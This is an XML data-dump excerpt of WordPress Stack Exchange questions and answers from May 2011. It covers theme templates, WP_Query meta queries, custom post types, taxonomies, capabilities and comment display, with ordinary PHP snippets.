  <row Id="17312" PostTypeId="2" ParentId="7782" CreationDate="2011-05-15T18:04:50.343" Score="0" ViewCount="" Body="&lt;p&gt;@lemats I don't have enough reputation to vote up &lt;a href=&quot;http://wordpress.stackexchange.com/questions/7782/wp-script-versioning-breaks-cross-site-caching/8983#8983&quot;&gt;your answer&lt;/a&gt; or even comment on your answer... but your answer should be at the top. Passing NULL to the ver parameter stops wordpress from adding the version number as a query string to the end of your paths.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&lt;/a&gt;&#xA;if you don't trust the codex... here it is in the source &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.2/wp-includes/class.wp-scripts.php#L93&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/browser/tags/3.1.2/wp-includes/class.wp-scripts.php#L93&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5395" LastEditorUserId="5395" LastEditorDisplayName="" LastEditDate="2011-05-15T18:10:57.060" LastActivityDate="2011-05-15T18:10:57.060" />
  <row Id="17313" PostTypeId="1" CreationDate="2011-05-15T18:08:27.480" Score="1" ViewCount="103" Body="&lt;p&gt;&lt;strong&gt;What I want:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two wordpress blogs with separate cats and tags&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;reggi.com/portfolio/category/example&#xA;reggi.com/blog/category/example&#xA;reggi.com/portfolio/tags/example&#xA;reggi.com/blog/tags/example&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Site root to not be wordpress or to be a static page with custom template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;reggi.com/ &amp;lt;-- NOT wordpress&#xA;reggi.com/portfolio &amp;lt;-- wordpress&#xA;reggi.com/blog &amp;lt;-- wordpress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One theme directory&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I have tried so far:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have installed one wordpress theme in the root &lt;code&gt;reggi.com&lt;/code&gt; and had a plugin which removed &lt;code&gt;category&lt;/code&gt; from &lt;code&gt;reggi.com/category/portfolio&lt;/code&gt;. This worked but my permalink structure was really sluggish as for each post was queried first with &lt;code&gt;%category%&lt;/code&gt;. I also ran into problems with the tags where it was skipping over the category in the url and displaying something like &lt;code&gt;reggi.com/tags/example&lt;/code&gt; rather than &lt;code&gt;reggi.com/portfolio/tags/example&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have installed multisite but I am running into problems where I need to display different indexes for &lt;code&gt;/portfolio&lt;/code&gt; and &lt;code&gt;/blog&lt;/code&gt; I am thinking my only option would be to have the template index look at the url and if it is &lt;code&gt;/blog&lt;/code&gt; or &lt;code&gt;/portfolio&lt;/code&gt; display the respective themes accordingly. Is this wise? I don't know how to setup &lt;code&gt;/blog&lt;/code&gt; with multisite post &lt;a href=&quot;http://wordpress.stackexchange.com/questions/536/how-do-i-get-blog-on-my-wordpres-multisite&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any other ways to go about this? Something I'm missing? Should I just have two separate wordpress installs?&lt;/p&gt;&#xA;" OwnerUserId="5396" LastEditorUserId="5396" LastEditorDisplayName="" LastEditDate="2011-05-15T19:19:17.787" LastActivityDate="2011-08-14T06:23:41.517" Title="What is the most efficient way to have two &quot;blogs&quot; on one site?" Tags="&lt;multisite&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="17314" PostTypeId="2" ParentId="17306" CreationDate="2011-05-15T18:11:05.797" Score="1" ViewCount="" Body="&lt;p&gt;You need to use the &lt;code&gt;meta_query&lt;/code&gt; parameter of the WP_Class when running a query. Something like this should point you in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = date(&quot;Y-m-d&quot;);&#xA;$args = array(&#xA;    'post_type' =&amp;gt; 'jogos',&#xA;    'meta_query' =&amp;gt; array(&#xA;        array(&#xA;            'key' =&amp;gt; 'data_de_lancamento',&#xA;            'value' =&amp;gt; $data,&#xA;            'compare' =&amp;gt; '&amp;lt;='&#xA;        )&#xA;    ),&#xA;    'meta_key' =&amp;gt; 'views',&#xA;    'orderby' =&amp;gt; 'meta_value',&#xA;    'order' =&amp;gt; 'DESC'&#xA; );&#xA;$query = new WP_Query( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The catch with this is that it's nearly impossible to compare dates in the form of 'dd/mm/yy'. As such, this code will not do the trick. You need to first change your date format to 'yyyy-mm-dd'. This is a much more useful way of performing the date comparison. Also, you may need to do some testing with the operator to make sure it's functioning right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I specify using &lt;code&gt;meta_query&lt;/code&gt; which is new to WP 3.1. &lt;code&gt;meta_key&lt;/code&gt; and &lt;code&gt;meta_value&lt;/code&gt; are deprecated as of WP 3.1; however, to order by &lt;code&gt;meta_value&lt;/code&gt; you actually still have to specify &lt;code&gt;meta_key&lt;/code&gt; as the value you want it to order by. Confusing and not well documented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;References:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Custom_Field_Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/WP_Query#Custom_Field_Parameters&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Order_.26_Orderby_Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/WP_Query#Order_.26_Orderby_Parameters&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-05-15T18:11:05.797" CommentCount="7" />
  <row Id="17315" PostTypeId="1" AcceptedAnswerId="17320" CreationDate="2011-05-15T18:20:46.740" Score="0" ViewCount="44" Body="&lt;p&gt;I want to display a single random post out of the 5 latest posts in the category 'news'.&lt;br&gt;&#xA;The approach I'm using is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  // Custom function to retrieve catgory ID by category name.&#xA;  $cat = $lib-&amp;gt;getCatIDbyCatName('news');&#xA;  // Retrieve the 5 latest posts&#xA;  $news = get_posts( array( 'numberposts' =&amp;gt; 5,'category_name' =&amp;gt; $cat ) );&#xA;&#xA;  foreach($news as $post) : setup_postdata($post); &#xA;    echo the_title(); &#xA;    echo the_intro(); // &amp;lt;- Custom function to retrieve custom field&#xA;  endforeach;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above code works and I'm dispalying the title and the custom value of all 5 posts. Now I only want one random post out of these 5 posts. So I do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  // Get a single random post from fetched posts&#xA;  $single_news = $news[rand(0, 4)];&#xA;&#xA;  foreach($single_news as $post) : setup_postdata($post); &#xA;    echo the_title(); &#xA;    echo the_intro(); // &amp;lt;- Custom function to retrieve custom field&#xA;  endforeach;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This however, is not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any ideas of what I can do? OR maybe a better solution?&lt;/p&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2011-05-15T18:45:53.903" Title="Not able to get random post" Tags="&lt;get-posts&gt;" AnswerCount="1" />
  <row Id="17316" PostTypeId="2" ParentId="17313" CreationDate="2011-05-15T18:35:13.373" Score="0" ViewCount="" Body="&lt;p&gt;Then I suggest you use WP for you main site as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just create a custom template like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/* Template Name: Start page */&#xA;&#xA;  // Here you add custom PHP code.&#xA;  // It does not have to contain a single WP code&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you just use create two more pages and call them &lt;code&gt;portfolio&lt;/code&gt; and &lt;code&gt;blog&lt;/code&gt;.&lt;br&gt;&#xA;In these pages you only list posts with specific categories.&lt;/p&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2011-05-15T18:35:13.373" CommentCount="2" />
  <row Id="17317" PostTypeId="1" AcceptedAnswerId="17323" CreationDate="2011-05-15T18:37:33.537" Score="0" ViewCount="36" Body="&lt;p&gt;If I do a post or a page with no title, I'm left with an empty &lt;code&gt;h1&lt;/code&gt; tag at the top of the post/page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to either get rid of the &lt;code&gt;h1&lt;/code&gt; in these cases, or else be able to add an extra CSS class to the post/page so that I can specify how to display the post (and the &lt;code&gt;h1&lt;/code&gt;) differently when the post/page is published with no title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are either of these things possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2666" LastActivityDate="2011-05-15T21:07:53.173" Title="Is there a way to specify an extra class for a post or page with no title?" Tags="&lt;posts&gt;&lt;css&gt;&lt;pages&gt;&lt;title&gt;" AnswerCount="1" />
  <row Id="17318" PostTypeId="1" CreationDate="2011-05-15T18:37:50.550" Score="0" ViewCount="32" Body="&lt;p&gt;What is the best way to disable feeds per post type but keep has_archive enabled?&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-05-15T18:37:50.550" Title="How to use has_archive but disable feed per post type?" Tags="&lt;custom-post-types&gt;&lt;feed&gt;&lt;custom-post-type-archives&gt;" />
  <row Id="17319" PostTypeId="1" CreationDate="2011-05-15T18:40:04.430" Score="0" ViewCount="20" Body="&lt;p&gt;searchform.php is created when wanting to change the searchform in the theme or in the search widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;searchform.php in a folder?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want it to be in the root. I want to put it in a folder. Is that possible some way? I want to keep the root clean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Filter or action?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All suggestions are welcome. Maybe the solution is by run an action or a filter on something?&lt;/p&gt;&#xA;" OwnerUserId="5244" LastActivityDate="2011-05-15T18:40:04.430" Title="Run searchform.php from a folder" Tags="&lt;widgets&gt;&lt;filters&gt;&lt;search&gt;&lt;actions&gt;" CommentCount="1" />
  <row Id="17320" PostTypeId="2" ParentId="17315" CreationDate="2011-05-15T18:45:53.903" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;// Get a single random post from fetched posts   &#xA;  $post = $news[rand(0, 4)];    &#xA;  setup_postdata($post);     &#xA;   echo the_title();      &#xA;   echo the_intro(); // &amp;lt;- Custom function to retrieve custom field&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-05-15T18:45:53.903" />
  <row Id="17321" PostTypeId="1" CreationDate="2011-05-15T19:24:42.753" Score="0" ViewCount="186" Body="&lt;p&gt;If I create a custom post type and want to create custom capabilities for that, how do I do this? For example, I want to let my Editors to edit and create and delete posts and pages, but not the custom post type I've created? I also want to have the possibility to change the capabilities later with this plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/user-role-editor/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/user-role-editor/&lt;/a&gt; (see the screens of the available capabilities: &lt;a href=&quot;http://wordpress.org/extend/plugins/user-role-editor/screenshots/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/user-role-editor/screenshots/&lt;/a&gt;)&#xA;I've done this by now this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_roles;&#xA;&#xA;if(!isset($wp_roles)) {&#xA;    $wp_roles = new WP_Roles();&#xA;}&#xA;&#xA;// add capability $cap to role $role&#xA;$roles = $wp_roles-&amp;gt;get_names();&#xA;$wp_roles-&amp;gt;add_cap('administrator', 'organize_matches');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But then even I as administrator am not able to save the custom post type (and yeah, I mentioned 'organize_matches' in the 'capabilities' argument when registering the custom post type). Really appreciate Your help!&lt;/p&gt;&#xA;" OwnerUserId="5328" LastActivityDate="2011-08-14T13:05:26.217" Title="Define new user capability for custom post types?" Tags="&lt;custom-post-types&gt;&lt;customization&gt;&lt;roles&gt;&lt;capabilities&gt;&lt;user-roles&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="17322" PostTypeId="1" CreationDate="2011-05-15T19:46:21.843" Score="0" ViewCount="41" Body="&lt;p&gt;I just need to run something by everyone. I'm pretty sure WP can do this but i'm just double checking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i want to do is have two areas on my site, one for Success Stories and one for Staff Members. I imagined i could have each staff member and each success story as a post. In the posts i could set up custom fields, ie. for success story i may want &quot;Project worked on&quot; or for staff i may want &quot;Years at company&quot;. I'm hoping to tag the success stories as &quot;success&quot; and run the loop so it just pulls back those and same for staff members. So within each loop i could pull back &quot;project worked on&quot; and style it as i wish?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this all sound possible, i cant imagine theres anything too complicated going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2496" LastActivityDate="2011-05-15T19:46:21.843" Title="A question about tags and custom fields" Tags="&lt;custom-field&gt;&lt;tags&gt;" CommentCount="1" FavoriteCount="1" />
  <row Id="17323" PostTypeId="2" ParentId="17317" CreationDate="2011-05-15T21:07:53.173" Score="4" ViewCount="" Body="&lt;p&gt;To add an extra class when there is no title&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;lt;?php if(!get_the_title()){echo ' class=&quot;no-title&quot;';}?&amp;gt;&amp;gt;&amp;lt;?php the_title();?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or to only display h1 tags when there is a title&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(get_the_title()) { ?&amp;gt;&#xA;    &amp;lt;h1&amp;gt;&amp;lt;?php the_title();?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&amp;lt;?php }?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5376" LastActivityDate="2011-05-15T21:07:53.173" CommentCount="1" />
  <row Id="17324" PostTypeId="1" AcceptedAnswerId="17326" CreationDate="2011-05-15T21:48:50.203" Score="0" ViewCount="64" Body="&lt;p&gt;I'm using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;            'hide_empty' =&amp;gt; FALSE,&#xA;            'title_li'=&amp;gt; __( '' ),&#xA;            'show_count'=&amp;gt; 1,&#xA;        );&#xA;        wp_list_categories($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can i wrap the post count in a span for further styling?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2496" LastActivityDate="2011-05-15T22:26:18.890" Title="Wrap Post count in a span" Tags="&lt;categories&gt;" AnswerCount="1" />
  <row Id="17325" PostTypeId="1" AcceptedAnswerId="17329" CreationDate="2011-05-15T22:08:49.010" Score="0" ViewCount="207" Body="&lt;p&gt;If you have a category called &quot;term&quot; and a subcategory called &quot;subterm&quot;, your can access subterm posts at /cat/subcat.  But this doesn't work out of the box with custom taxonomies.  They are accessible at /taxonomy/subterm, but not /taxonomy/term/subterm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They've gone over this in the Wordpress Trac (&lt;a href=&quot;http://core.trac.wordpress.org/ticket/12659&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/12659&lt;/a&gt;), and it kind of &lt;em&gt;looks&lt;/em&gt; like they have a solution, but as I've never used the Trac and don't fully understand its language (diffs, etc), I need someone more experienced to actually tell me how to implement this.  Is there code there that I have to paste into Wordpress core files? Is this already implemented and I can add something to my theme's functions.php?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If possible I'd prefer not to modify any core files. Help!&lt;/p&gt;&#xA;" OwnerUserId="3564" LastActivityDate="2011-05-26T05:27:51.320" Title="How to enable hierarchical permalinks for hierarchical taxonomies" Tags="&lt;custom-taxonomy&gt;&lt;permalinks&gt;&lt;rewrite-rules&gt;&lt;hierarchical&gt;" AnswerCount="1" />
  <row Id="17326" PostTypeId="2" ParentId="17324" CreationDate="2011-05-15T22:26:18.890" Score="1" ViewCount="" Body="&lt;p&gt;adding a filter to functions.php of your theme is one possibility:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_list_categories', 'cat_count_span');&#xA;function cat_count_span($links) {&#xA;  $links = str_replace('&amp;lt;/a&amp;gt; (', '&amp;lt;/a&amp;gt; &amp;lt;span&amp;gt;(', $links);&#xA;  $links = str_replace(')', ')&amp;lt;/span&amp;gt;', $links);&#xA;  return $links;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this would add the spans to any occurrence of 'wp_list_categories()' site wide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or change your code into:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(                 &#xA;  'hide_empty' =&amp;gt; FALSE,                 &#xA;  'title_li'=&amp;gt; __( '' ),                 &#xA;  'show_count'=&amp;gt; 1,             &#xA;  'echo' =&amp;gt; 0&#xA;);             &#xA;  $links = wp_list_categories($args);&#xA;  $links = str_replace('&amp;lt;/a&amp;gt; (', '&amp;lt;/a&amp;gt; &amp;lt;span&amp;gt;(', $links);&#xA;  $links = str_replace(')', ')&amp;lt;/span&amp;gt;', $links);&#xA;echo $links;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-05-15T22:26:18.890" CommentCount="1" />
  <row Id="17327" PostTypeId="1" CreationDate="2011-05-15T22:29:11.667" Score="1" ViewCount="89" Body="&lt;p&gt;I need to display comments starting from the second, omitting the first. &#xA;With posts I did it using &quot;offset&quot; but I can't find anything similar for comments.&#xA;Since I'm using threaded comments, must start from the second comment that is not a child (only parent comments).&#xA;I'm using wp_list_comments with a callback.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT2: this is actual comments.php code, after replies:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      &amp;lt;?php &#xA;$i = 2;&#xA;if ( have_comments() ) : &#xA;if ( $i &amp;gt; 1 ) :&#xA;?&amp;gt;&#xA;    &amp;lt;div id=&quot;comments&quot;&amp;gt;&#xA;    &amp;lt;h3 id=&quot;comments-title&quot; class=&quot;color-&amp;lt;?php $category = get_the_category(); echo $category[0]-&amp;gt;cat_name;?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;/h3&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;?php &#xA;&#xA;     global $wp_query; &#xA;     $comments_arr = $wp_query-&amp;gt;comments; &#xA;     $comments_arr = sort( $comments_arr); &#xA;     $comments_arr = array_pop( $comments_arr );&#xA;     $comments_arr = usort($comment_arr, 'comment_comparator');                 &#xA;     wp_list_comments('callback=gtcn_basic_callback', $comments_arr); &#xA;&#xA;    ?&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;?php&#xA;    $i++; // count up&#xA;    endif; // If $i &amp;gt; 1&#xA;    else : if ( ! comments_open() ) : ?&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;?php _e( 'Comments are closed.' ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;?php &#xA;      endif; // end ! comments_open() &#xA;endif; // end have_comments()  ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php comment_form(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result: comments are not anymore ordered by karma (comment_comparator function) and the first comment (comment with top karma that I want to hide) is still displayed.&lt;/p&gt;&#xA;" OwnerUserId="2119" LastEditorUserId="2119" LastEditorDisplayName="" LastEditDate="2011-06-17T14:22:13.893" LastActivityDate="2011-08-17T06:25:52.710" Title="Comments offset" Tags="&lt;comments&gt;&lt;sort&gt;&lt;offsets&gt;" AnswerCount="1" />
  <row Id="17328" PostTypeId="2" ParentId="14839" CreationDate="2011-05-15T22:42:30.017" Score="1" ViewCount="" Body="&lt;p&gt;As Otto said, there are no ${old_status}&lt;em&gt;to&lt;/em&gt;${new_status}_${post_type} action hook, but you can use the new_to_publish, draft_to_publish and pending_to_publish  to add the post meta on your custom posts.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// function to be executed when a custom post type is published&#xA;function run_when_post_published($post)&#xA;{&#xA;    // your function code here&#xA;    global $wpdb;&#xA;      if(!wp_is_post_revision($post-&amp;gt;ID) &amp;amp;&amp;amp; $post-&amp;gt;post_type == 'sales_pages') {&#xA;      add_post_meta($post-&amp;gt;ID, 'field-name', 'custom value', true);&#xA;      }&#xA;}&#xA;&#xA;// replace {custom_post_type_name} with the name of your post type&#xA;add_action('new_to_publish', 'run_when_post_published');    &#xA;add_action('draft_to_publish', 'run_when_post_published');    &#xA;add_action('pending_to_publish', 'run_when_post_published');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-05-15T22:42:30.017" />
  <row Id="17329" PostTypeId="2" ParentId="17325" CreationDate="2011-05-15T22:42:31.560" Score="2" ViewCount="" Body="&lt;p&gt;This is implemented in WordPress now as of 3.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_taxonomy&quot; rel=&quot;nofollow&quot;&gt;register your taxonomy&lt;/a&gt;, make sure to set rewrite hierarchical to true as well as the taxonomy itself:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;register_taxonomy('genre',array('book'), array(&#xA;'hierarchical' =&amp;gt; true, // this makes it hierarchical in the UI&#xA;'labels' =&amp;gt; $labels,&#xA;'show_ui' =&amp;gt; true,&#xA;'query_var' =&amp;gt; true,&#xA;'rewrite' =&amp;gt; array( 'hierarchical' =&amp;gt; true ), // this makes hierarchical URLs&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="4771" LastEditorDisplayName="" LastEditDate="2011-05-15T22:52:39.710" LastActivityDate="2011-05-15T22:52:39.710" CommentCount="5" />
  <row Id="17330" PostTypeId="2" ParentId="14839" CreationDate="2011-05-15T23:03:44.507" Score="0" ViewCount="" Body="&lt;p&gt;You should hook &lt;code&gt;post_save&lt;/code&gt; and check a couple of things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;That is your custom post type&lt;/li&gt;&#xA;&lt;li&gt;That is not an autosave&lt;/li&gt;&#xA;&lt;li&gt;That is not a revision&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('save_post', 'my_custom_save');&#xA;&#xA;function my_custom_save( $post_id ){&#xA;&#xA;    if ( defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE ) &#xA;        return $post_id;&#xA;&#xA;    if ( 'your_custom_post_type' == $_POST['post_type'] ){&#xA;&#xA;            if (!wp_is_post_revision($post_id)){&#xA;&#xA;                add_post_meta($post_ID, 'field-name', 'custom value', true);&#xA;&#xA;            }&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-05-15T23:03:44.507" />
  <row Id="17332" PostTypeId="1" AcceptedAnswerId="17548" CreationDate="2011-05-15T23:36:41.653" Score="2" ViewCount="159" Body="&lt;p&gt;I have just started a programming blog and I am using the SyntaxHightlighter Evolved plugin to format my code. On most browsers this is working just fine. However if I attempt to view the site from either an iPhone or iPad the line numbers and code are no longer aligned. Basically the problem seems to be that the line numbers and code fonts are sized independently (see image below). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assumed &lt;em&gt;somebody&lt;/em&gt; else must have seen the problem so I consulted The Mightly Oracle Google, but could not seem to find anything relevant. I have also searched this site to no avail. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Being a programmer I looked at the source code, but realized that it would take me some time to understand how it works and fix the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Wordpress version 3.1.2 with the Twenty Ten theme version 1.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following plugins active:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Google Analytics for WordPress version 4.1&lt;/li&gt;&#xA;&lt;li&gt;SyntaxHighlighter version 3.1.1&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Has anybody else seen (an hopefully fixed) this problem? Or could some kind soul point me in the right direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to see the website there is a link in my profile to it. I don't want to link-spam ;-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: 5/17/2011&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought I had found a solution but, while it solved the problem on the iPad, it remained an issue on the iPhone. So the bounty is still up for grabs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/tiz4n.png&quot; alt=&quot;Syntax Highlighter Evolved&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5382" LastEditorUserId="5382" LastEditorDisplayName="" LastEditDate="2011-05-18T05:52:09.067" LastActivityDate="2011-05-18T05:52:09.067" Title="Code Formatted with SyntaxHighlighter Evolved Appearing Incorrectly on iPad/iPhone" Tags="&lt;iphone&gt;&lt;plugin-syntaxhighlighter&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="17333" PostTypeId="1" CreationDate="2011-05-15T23:39:32.883" Score="0" ViewCount="47" Body="&lt;p&gt;if i add ?taxonomy_name=taxonomy_term to the end of any category, i see a list of posts under that category AND under that taxonomy term. Does anybody know how i can turn ?taxonomy_name=taxonomy_term into a pretty permalink such as /taxonomy_term?&lt;/p&gt;&#xA;" OwnerUserId="5399" LastActivityDate="2011-05-15T23:39:32.883" Title="Rewriting permalink for relationship query between taxonomy and category - urgent" Tags="&lt;permalinks&gt;&lt;url-rewriting&gt;&lt;taxonomy&gt;&lt;rewrite-rules&gt;" />
  <row Id="17334" PostTypeId="1" AcceptedAnswerId="17338" CreationDate="2011-05-16T00:08:41.073" Score="0" ViewCount="22" Body="&lt;p&gt;Ok, bit of a weird one... I want to include php code on one of my pages within the content by adding something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Welcome to the payment page&#xA;[paymentform]&#xA;&#xA;Blash blah vlha...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then [paymentform] resolves to a bit of code either somewhere on the filesystem or within the database and handled by a settings page in the backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't want to use the exec-php plugin for several reasons - mainly I don't want our client messing with the php code, secondly there are limitations using that with the visual editor etc..etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;John.&lt;/p&gt;&#xA;" OwnerUserId="4916" LastActivityDate="2011-05-16T00:43:20.973" Title="Looking for a good way to include php code in posts, but using special include markup rather than direct php code" Tags="&lt;plugins&gt;&lt;php&gt;&lt;code&gt;" AnswerCount="1" />
  <row Id="17335" PostTypeId="1" AcceptedAnswerId="17376" CreationDate="2011-05-16T00:11:54.787" Score="1" ViewCount="52" Body="&lt;p&gt;1 custom taxonomy registered for 2 different CPT (custom post type). When i entered to edit tag section on edit-tags.php?taxonomy=mytaxonomy&amp;amp;post_type=cpt1 it displays total post count of 2 different CPT.  Is there any way to fix that?&lt;/p&gt;&#xA;" OwnerUserId="1372" LastActivityDate="2011-05-16T12:06:19.810" Title="post count is wrong when using same taxonomy for 2 different CPT" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;terms&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="17336" PostTypeId="1" CreationDate="2011-05-16T00:20:16.953" Score="0" ViewCount="62" Body="&lt;p&gt;Can I simply use htmlspecialchars instead of esc_attr?  &lt;/p&gt;&#xA;" OwnerUserId="5400" LastActivityDate="2011-05-16T00:31:37.227" Title="what's different between esc_attr, htmlspecialchars and htmlentities" Tags="&lt;escaping&gt;" AnswerCount="1" />
